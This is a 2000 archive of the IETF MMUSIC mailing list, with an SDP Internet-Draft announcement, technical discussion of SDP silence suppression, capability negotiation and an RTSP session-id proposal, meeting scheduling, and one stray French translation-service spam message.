Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-00.txt
Date: Wed, 22 Nov 2000 06:13:26 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-00.txt
	Pages		: 35
	Date		: 21-Nov-00
	
This document defines the Session Description Protocol, SDP.
SDP is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001121111434.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-new-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-new-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001121111434.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Nov 22 12:06:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA09770
	for confctrl-outgoing; Wed, 22 Nov 2000 12:06:49 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA09762
	for <confctrl@zephyr.isi.edu>; Wed, 22 Nov 2000 12:06:47 -0800 (PST)
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA23338
	for <confctrl@ISI.EDU>; Wed, 22 Nov 2000 12:06:42 -0800 (PST)
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1])
	by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id PAA14099
	for <confctrl@ISI.EDU>; Wed, 22 Nov 2000 15:06:41 -0500 (EST)
Received: from teton.mh.lucent.com (h135-3-130-2.lucent.com [135.3.130.2])
	by auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id PAA14091
	for <confctrl@ISI.EDU>; Wed, 22 Nov 2000 15:06:41 -0500 (EST)
Received: from lucent.com (pctla2 [135.3.130.26])
	by teton.mh.lucent.com (8.8.8+Sun/8.8.8) with ESMTP id PAA07001
	for <confctrl@ISI.EDU>; Wed, 22 Nov 2000 15:05:06 -0500 (EST)
Message-ID: <3A1C2727.F1F778FA@lucent.com>
Date: Wed, 22 Nov 2000 15:05:59 -0500
From: Terry L Anderson <tla@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.75 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: silence suppression in SDP
Content-Type: multipart/mixed;
 boundary="------------AFBC9B35A9F3B151DAD2212C"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------AFBC9B35A9F3B151DAD2212C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

We are working on implementations of H.248 (MEGACO) and one need is to
control silence suppression on RTP connnections for some codecs.  H.245
carries this along with other media parameters during media channel
negotiation.  It would seem that H.248
(text mode) and SIP that use SDP for media channel specifications would
need the same feature, but RFC 2327 for SDP does not have such a
parameter.

draft-ietf-mmusic-sdp-atm-02.txt introduces such a feature for ATM
bearer connections but there appears to be no such feature for RTP
bearer connections.

Am I missing something?  Has this been discussed in the past?  Is there
another way this should be done or is it common belief that this should
be outside SDP?

I notice that there is a new I-D on SDP.  I assume that this indicates
the beginning of work on a new version.  Would it be appropriate to add
support for silence suppression similar to the sdp-atm specification to
the new SDP?


--
------------------------------------------------------------
Terry L Anderson              mailto:tla@lucent.com
Tel:908.582.7013   Fax:908.582.6729
Pager:800.759.8352 pin 1704572   1704572@skytel.com
Lucent Technologies/ Voice Over IP Access Networks/ Applications Grp
Rm 2B-121, 600 Mountain Av, Murray Hill, NJ 07974
http://its.lucent.com/~tla (Lucent internal) http://www.gti.net/tla


--------------AFBC9B35A9F3B151DAD2212C
Content-Type: text/x-vcard; charset=us-ascii;
 name="tla.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Terry L Anderson
Content-Disposition: attachment;
 filename="tla.vcf"

begin:vcard 
n:Anderson;Terry L
tel;pager:800.759.8352 pin 1704572
tel;fax:908.582.6729
tel;work:908.582.7013
x-mozilla-html:TRUE
url:http://its.lucent.com/~tla
org:Lucent / InterNetworking Systems;VoIP Access Networks / Applications Group
version:2.1
email;internet:tla@lucent.com
title:DMTS
note:http://www.gti.net/tla  or http://teton.mh.lucent.com/~tla (Lucent internal)
adr;quoted-printable:;;Rm 2B-121=0D=0A600 Mountain Ave;Murray Hill;NJ;07974;USA
x-mozilla-cpt:;20896
fn:Terry L Anderson
end:vcard

--------------AFBC9B35A9F3B151DAD2212C--


From confctrl-owner  Wed Nov 22 12:13:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA10470
	for confctrl-outgoing; Wed, 22 Nov 2000 12:13:07 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA10465
	for <confctrl@zephyr.isi.edu>; Wed, 22 Nov 2000 12:13:06 -0800 (PST)
Received: from fs.cpio.com (IDENT:root@fs.cpio.com [195.68.121.7])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA24643
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 12:13:05 -0800 (PST)
Received: (from fsmtpd@localhost)
	by fs.cpio.com (8.9.3/8.9.3) id UAA01915;
	Wed, 22 Nov 2000 20:56:37 +0100
Received: from UNKNOWN(212.83.128.62), claiming to be "yildun.worldonline.fr"
 via SMTP by fs.cpio.com, id smtpdhB681A; Wed Nov 22 20:56:31 2000
Received: from p350 (ppp-123.dialup-0.worldonline.fr [213.19.0.123])
        by yildun.worldonline.fr (Mail pour Wolf) with SMTP id eAL740L22048;
        Tue, 21 Nov 2000 08:04:01 +0100 (MET)
Message-Id: <3.0.6.32.20001121080519.0079c840@pop3.worldonline.fr>
X-Sender: patrick.lemarie1@pop3.worldonline.fr (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Tue, 21 Nov 2000 08:05:19 +0100
To: clubempl@digicom.qc.ca
From: ltifrance <patrick.lemarie1@mail-vip.worldonline.fr>
Subject: proposition du 20.11.00
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id MAA10466
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Madame, Monsieur,

Aimeriez-vous valoriser vos produits et augmenter ainsi votre chiffre
d'affaires à l'export ?

Nous pouvons vous aider à réaliser votre objectif en mettant à votre
service notre service traduction composé de traducteurs et de terminologues
professionnels travaillant vers leur langue maternelle, dans les meilleurs
délais, en utilisant les outils modernes de communication (Internet, fax ,
modem).

Peut-être pensez-vous que l'éloignement est un obstacle ?

Vous pouvez nous envoyer vos documents par fax ou par Internet.

Souhaiteriez-vous bénéficier de tarifs calculés en fonction du volume ?

Nos honoraires sont dégressifs et tiennent compte des travaux répétitifs et
des volumes importants.

N'hésitez pas à nous contacter et à nous demander un devis, nous ferons
notre maximum pour répondre à vos attentes et satisfaire vos besoins.


Si vous ne souhaitez plus recevoir de message de ce type merci de nous
retourner un mail vierge.





Patrick Lemarié
Gérant

ltifrance@yahoo.com
http://www.ltifrance.com

Tél : 02.35.44.12.12
Fax : 02.35.54.22.91

From confctrl-owner  Wed Nov 22 13:29:35 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA17575
	for confctrl-outgoing; Wed, 22 Nov 2000 13:29:35 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA17569
	for <confctrl@zephyr.isi.edu>; Wed, 22 Nov 2000 13:29:30 -0800 (PST)
Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id NAA17369
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 13:29:29 -0800 (PST)
Received: from ih85.ea.unisys.com (ih85.ea.unisys.com [192.61.103.85])
	by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id VAA20487
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 21:29:00 GMT
Received: from us-slc-exch-2.slc.unisys.com ([192.60.174.71])
	by ih85.ea.unisys.com (8.9.3/8.9.3) with ESMTP id VAA20371
	for <confctrl@isi.edu>; Wed, 22 Nov 2000 21:29:24 GMT
Received: by US-SLC-EXCH-2 with Internet Mail Service (5.5.2650.21)
	id <XATH0G4Q>; Wed, 22 Nov 2000 14:29:07 -0700
Message-ID: <A1AF26C0DE6DD2119FDB00005A4266C7E1B347@us-slc-exch-3.slc.unisys.com>
From: "Harsch, Tom" <Thomas.Harsch@UNISYS.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: re: draft-ietf-mmusic-sdp-new-00.txt
Date: Wed, 22 Nov 2000 14:28:42 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Just joined this mailing list so excuse me if I'm repeating what's already
been posted.

1) The draft seems to be truncated.  Everything beyond the middle of
Appendix A is missing.

2) Some current I-Ds use the /<ttl> notation with unicast address examples.
Is that legit?
Its not clear whether the statement at the bottom of page 14 applies to the
/<number of addresses> slash notation only or includes the /<ttl> slash
notation, as well.
-- 
Tom Harsch


From confctrl-owner  Wed Nov 22 14:24:44 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA21191
	for confctrl-outgoing; Wed, 22 Nov 2000 14:24:44 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21185
	for <confctrl@zephyr.isi.edu>; Wed, 22 Nov 2000 14:24:41 -0800 (PST)
Received: from prognet.com (prognet.com [205.219.198.1])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA04131
	for <confctrl@ISI.EDU>; Wed, 22 Nov 2000 14:24:40 -0800 (PST)
Received: from tinkywinky ([172.23.100.74])
	by prognet.com (8.9.2/8.9.0) with SMTP id OAA29414;
	Wed, 22 Nov 2000 14:24:51 -0800 (PST)
Message-Id: <3.0.32.20001122144141.010719d0@mail.real.com>
X-Sender: jcarlton@mail.real.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 22 Nov 2000 14:41:41 -0800
To: confctrl@ISI.EDU
From: John Carlton <jcarlton@real.com>
Subject: RTSP enhancement
Cc: paulm@prognet.com, sethr@prognet.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All,

There have been several occasions when we have wanted/needed to maintain
state prior to the SETUP request/response in the RNWK client/server
conversation. The best example is dynamic content, when successive
DESCRIBEs for the same URL will result in the server returning sdp for
different content. The server needs to know unambiguously at SETUP time
which content is being accessed. We have uncovered other cases where this
is desireable in our architecture as well.

The easiest way to maintain this state is simply to allow the client to
request early establishment of the session id. The idea that we have is to
allow the client to request a session id prior to SETUP by appending a
special header to the OPTIONS request by inserting the header "Pragma:
initiate-session" in our current beta version of our software. If the
server supports this it responds with a "Session" header, otherwise it is
ignored.

This works great and has the added benefit of making it easier for a proxy
to correlate detailed information in the SDP response with a given session
as well.

It is true that there are other ways to address the problems summarized
above.  Previous versions of RealServer and RealPlayer have used an ETag
solution that was discussed on this list a couple of years ago (though
never formally documented).  However, we've discovered that that creates
unnecessary complication to players and intermediate devices, and so we'd
like to propose a simplified version.

We believe that early establishment of a session id simplifies
implementation for the majority of applications and that ease of
implementation is important enough to justify including this feature in the
spec.

It may be worthwhile to issue an Internet draft documenting this extension
as a proposed extension (say: "Pragma: initiate-session"), but we'd like to
discuss this with the group first.  There's other things we've done to make
this work better with proxies ("Via" header tricks), but lets start with
the basics.



From confctrl-owner  Thu Nov 23 14:20:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA13313
	for confctrl-outgoing; Thu, 23 Nov 2000 14:20:53 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA13308
	for <confctrl@zephyr.isi.edu>; Thu, 23 Nov 2000 14:20:52 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA28286;
	Thu, 23 Nov 2000 14:20:47 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id eANMKkU11692;
	Thu, 23 Nov 2000 23:20:46 +0100 (MET)
Message-Id: <200011232220.eANMKkU11692@nmh.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 23 Nov 2000 23:19:25 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC meeting in San Diego
Cc: csp@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

the MMUSIC WG is scheduled to meet twice at the 49th IETF in San Diego:

    Wednesday, 13 Dec, 1300-1500
    Thursday,  14 Dec, 1530-1730

We would like to solicit input on agenda items for these two meetings.
Please address slot requests to csp@isi.edu and jo@tzi.org.

A core issue for this meeting will be the further development of SDP
and SDPng.

Colin and Joerg



From confctrl-owner  Fri Nov 24 01:53:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA15101
	for confctrl-outgoing; Fri, 24 Nov 2000 01:53:53 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA15096
	for <confctrl@zephyr.isi.edu>; Fri, 24 Nov 2000 01:53:52 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id BAA05743;
	Fri, 24 Nov 2000 01:53:50 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id BAA19260;
	Fri, 24 Nov 2000 01:53:08 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eAO9rH208317;
	Fri, 24 Nov 2000 01:53:17 -0800 (PST)
Received: from cisco.com (ams-vpdn-client-380.cisco.com [144.254.47.128])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id BAA13519;
	Fri, 24 Nov 2000 01:53:05 -0800 (PST)
Message-ID: <3A1E3A9A.EE7F7882@cisco.com>
Date: Fri, 24 Nov 2000 10:53:31 +0100
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Joerg Ott <jo@tzi.uni-bremen.de>, csp@ISI.EDU
CC: confctrl@ISI.EDU
Subject: Re: MMUSIC meeting in San Diego
References: <200011232220.eANMKkU11692@nmh.informatik.uni-bremen.de>
Content-Type: multipart/alternative;
 boundary="------------193A558E2D15FE63C4435A14"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------193A558E2D15FE63C4435A14
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've submitted a draft on adding some simple capability negotiation
capabilites to SDP
(http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
which I solicit input on and would like to present in the meeting.

The premise of this draft is that we have a pressing need for a capability
negotiation mechanism. While work on SDPng has begun, it is still at a
somewhat early stage, and given that SDPng is anticipated to not be
backwards compatible with SDP, as well as the current proliferation of SDP
in several protocols, we need to come up with at least a minimal solution
for SDP (and fairly soon too).


The abstract follows:

   This document proposes a set of Session Description Protocol (SDP)
   attributes that allow SDP to provide a minimal and backwards
   compatible capability negotiation mechanism. The mechanism is
   intended as a simple and limited solution to the general capability
   negotiation problem being addressed by ongoing work on the next
   generation of SDP, also known as SDPng.


Regards

        Flemming


Joerg Ott wrote:

> Folks,
>
> the MMUSIC WG is scheduled to meet twice at the 49th IETF in San Diego:
>
>     Wednesday, 13 Dec, 1300-1500
>     Thursday,  14 Dec, 1530-1730
>
> We would like to solicit input on agenda items for these two meetings.
> Please address slot requests to csp@isi.edu and jo@tzi.org.
>
> A core issue for this meeting will be the further development of SDP
> and SDPng.
>
> Colin and Joerg

--
Flemming Andreasen
Cisco Systems


--------------193A558E2D15FE63C4435A14
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
I've submitted a draft on adding some simple capability negotiation capabilites
to SDP (<a href="http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt">http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
</a>which
I solicit input on and would like to present in the meeting.
<p>The premise of this draft is that we have a pressing need for a capability
negotiation mechanism. While work on SDPng has begun, it is still at a
somewhat early stage, and given that SDPng is anticipated to not be backwards
compatible with SDP, as well as the current proliferation of SDP in several
protocols, we need to come up with at least a minimal solution for SDP
(and fairly soon too).
<br>&nbsp;
<p>The abstract follows:
<p>&nbsp;&nbsp; This document proposes a set of Session Description Protocol
(SDP)
<br>&nbsp;&nbsp; attributes that allow SDP to provide a minimal and backwards
<br>&nbsp;&nbsp; compatible capability negotiation mechanism. The mechanism
is
<br>&nbsp;&nbsp; intended as a simple and limited solution to the general
capability
<br>&nbsp;&nbsp; negotiation problem being addressed by ongoing work on
the next
<br>&nbsp;&nbsp; generation of SDP, also known as SDPng.
<br>&nbsp;
<p>Regards
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flemming
<br>&nbsp;
<p>Joerg Ott wrote:
<blockquote TYPE=CITE>Folks,
<p>the MMUSIC WG is scheduled to meet twice at the 49th IETF in San Diego:
<p>&nbsp;&nbsp;&nbsp; Wednesday, 13 Dec, 1300-1500
<br>&nbsp;&nbsp;&nbsp; Thursday,&nbsp; 14 Dec, 1530-1730
<p>We would like to solicit input on agenda items for these two meetings.
<br>Please address slot requests to csp@isi.edu and jo@tzi.org.
<p>A core issue for this meeting will be the further development of SDP
<br>and SDPng.
<p>Colin and Joerg</blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------193A558E2D15FE63C4435A14--



From confctrl-owner  Fri Nov 24 06:40:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA00388
	for confctrl-outgoing; Fri, 24 Nov 2000 06:40:38 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA00380
	for <confctrl@zephyr.isi.edu>; Fri, 24 Nov 2000 06:40:37 -0800 (PST)
Received: from mel.alcatel.fr (mel.alcatel.fr [212.208.74.132])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA09527
	for <confctrl@ISI.EDU>; Fri, 24 Nov 2000 06:40:34 -0800 (PST)
Received: from aifhs2.alcatel.fr (mailhub.alcatel.fr [155.132.180.80])
        by mel.alcatel.fr (ALCANET/SMTP) with ESMTP id PAA23798;
        Fri, 24 Nov 2000 15:39:42 +0100
Received: from medine.ms.alcatel.fr (medine.ms.alcatel.fr [193.105.117.1])
        by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id PAA20707;
        Fri, 24 Nov 2000 15:36:58 +0100 (MET)
Received: from ms.ms.alcatel.fr (aar.ms.alcatel.fr [188.9.12.93])
	by medine.ms.alcatel.fr (8.8.8/8.8.8/aar-1.2) with ESMTP id PAA25390;
	Fri, 24 Nov 2000 15:40:24 +0100 (MET)
Received: from ms.alcatel.fr ([188.9.247.87])
	by ms.ms.alcatel.fr (8.8.7/8.8.7/aar-1.0) with ESMTP id PAA15700;
	Fri, 24 Nov 2000 15:40:24 +0100 (MET)
Message-ID: <3A1E7DEC.67BF081C@ms.alcatel.fr>
Date: Fri, 24 Nov 2000 15:40:44 +0100
From: Thomas LEVY <thomas.levy@ms.alcatel.fr>
Organization: Alcatel
X-Mailer: Mozilla 4.71 [en] (WinNT; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: MMUSIC meeting in San Diego
References: <200011232220.eANMKkU11692@nmh.informatik.uni-bremen.de> <3A1E3A9A.EE7F7882@cisco.com>
Content-Type: multipart/alternative;
 boundary="------------FFA632B41D5078D84104DD14"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------FFA632B41D5078D84104DD14
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

    Hello Flemming,

The ideas of the draft seems interesting to me.
Furthermore, it seems very close to some discussion we have within
Megaco mailing list concerning media gateway capabilities exchange.
My question will be the following:
What do you exactly mean by providing a capability descriptions at the
media level?
On my opinion, media capabilities apply to whole the endpoint but not to
a particular media stream.
Do you imagine several streams with the same media type having different
capabilities?

Regards Thomas,

Flemming Andreasen wrote:

> I've submitted a draft on adding some simple capability negotiation
> capabilites to SDP
> (http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
> which I solicit input on and would like to present in the meeting.
>
> The premise of this draft is that we have a pressing need for a
> capability negotiation mechanism. While work on SDPng has begun, it is
> still at a somewhat early stage, and given that SDPng is anticipated
> to not be backwards compatible with SDP, as well as the current
> proliferation of SDP in several protocols, we need to come up with at
> least a minimal solution for SDP (and fairly soon too).
>
>
> The abstract follows:
>
>    This document proposes a set of Session Description Protocol (SDP)
>    attributes that allow SDP to provide a minimal and backwards
>    compatible capability negotiation mechanism. The mechanism is
>    intended as a simple and limited solution to the general capability
>
>    negotiation problem being addressed by ongoing work on the next
>    generation of SDP, also known as SDPng.
>
>
> Regards
>
>         Flemming
>
>
> Joerg Ott wrote:
>
>> Folks,
>>
>> the MMUSIC WG is scheduled to meet twice at the 49th IETF in San
>> Diego:
>>
>>     Wednesday, 13 Dec, 1300-1500
>>     Thursday,  14 Dec, 1530-1730
>>
>> We would like to solicit input on agenda items for these two
>> meetings.
>> Please address slot requests to csp@isi.edu and jo@tzi.org.
>>
>> A core issue for this meeting will be the further development of SDP
>>
>> and SDPng.
>>
>> Colin and Joerg
>
> --
> Flemming Andreasen
> Cisco Systems
>

--------------FFA632B41D5078D84104DD14
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;&nbsp;&nbsp; Hello Flemming,
<p>The ideas of the draft seems interesting to me.
<br>Furthermore, it seems very close to some discussion we have within
Megaco mailing list concerning media gateway capabilities exchange.
<br>My question will be the following:
<br>What do you exactly mean by providing a capability descriptions at
the media level?
<br>On my opinion, media capabilities apply to whole the endpoint but not
to a particular media stream.<br>
Do you imagine several streams with the same media type having different
capabilities?
<p>Regards Thomas,
<p>Flemming Andreasen wrote:
<blockquote TYPE=CITE>I've submitted a draft on adding some simple capability
negotiation capabilites to SDP (<a href="http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt">http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
</a>which
I solicit input on and would like to present in the meeting.
<p>The premise of this draft is that we have a pressing need for a capability
negotiation mechanism. While work on SDPng has begun, it is still at a
somewhat early stage, and given that SDPng is anticipated to not be backwards
compatible with SDP, as well as the current proliferation of SDP in several
protocols, we need to come up with at least a minimal solution for SDP
(and fairly soon too).
<br>&nbsp;
<p>The abstract follows:
<p>&nbsp;&nbsp; This document proposes a set of Session Description Protocol
(SDP)
<br>&nbsp;&nbsp; attributes that allow SDP to provide a minimal and backwards
<br>&nbsp;&nbsp; compatible capability negotiation mechanism. The mechanism
is
<br>&nbsp;&nbsp; intended as a simple and limited solution to the general
capability
<br>&nbsp;&nbsp; negotiation problem being addressed by ongoing work on
the next
<br>&nbsp;&nbsp; generation of SDP, also known as SDPng.
<br>&nbsp;
<p>Regards
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flemming
<br>&nbsp;
<p>Joerg Ott wrote:
<blockquote TYPE=CITE>Folks,
<p>the MMUSIC WG is scheduled to meet twice at the 49th IETF in San Diego:
<p>&nbsp;&nbsp;&nbsp; Wednesday, 13 Dec, 1300-1500
<br>&nbsp;&nbsp;&nbsp; Thursday,&nbsp; 14 Dec, 1530-1730
<p>We would like to solicit input on agenda items for these two meetings.
<br>Please address slot requests to csp@isi.edu and jo@tzi.org.
<p>A core issue for this meeting will be the further development of SDP
<br>and SDPng.
<p>Colin and Joerg</blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</blockquote>
</html>

--------------FFA632B41D5078D84104DD14--


From confctrl-owner  Fri Nov 24 07:08:44 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA02611
	for confctrl-outgoing; Fri, 24 Nov 2000 07:08:44 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA02596
	for <confctrl@zephyr.isi.edu>; Fri, 24 Nov 2000 07:08:41 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA16014
	for <confctrl@ISI.EDU>; Fri, 24 Nov 2000 07:08:39 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id eAOF8aB20512;
	Fri, 24 Nov 2000 16:08:36 +0100 (MET)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.34])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id RAA14322;
	Fri, 24 Nov 2000 17:08:34 +0200 (EET)
Message-ID: <3A1E8471.35C76E18@lmf.ericsson.se>
Date: Fri, 24 Nov 2000 17:08:33 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: sip <sip@lists.bell-labs.com>, mmusic <confctrl@ISI.EDU>
Subject: NEW I-D: fid SDP attribute
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

A new version of the SDP media alignment draft has been released:
ftp://ftp.nordu.net/internet-drafts/draft-camarillo-sip-sdp-01.txt

This draft defines an SDP attrubite to be used for SDP media alignment
in SIP (MMUSIC & SIP WGs)

Regards,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

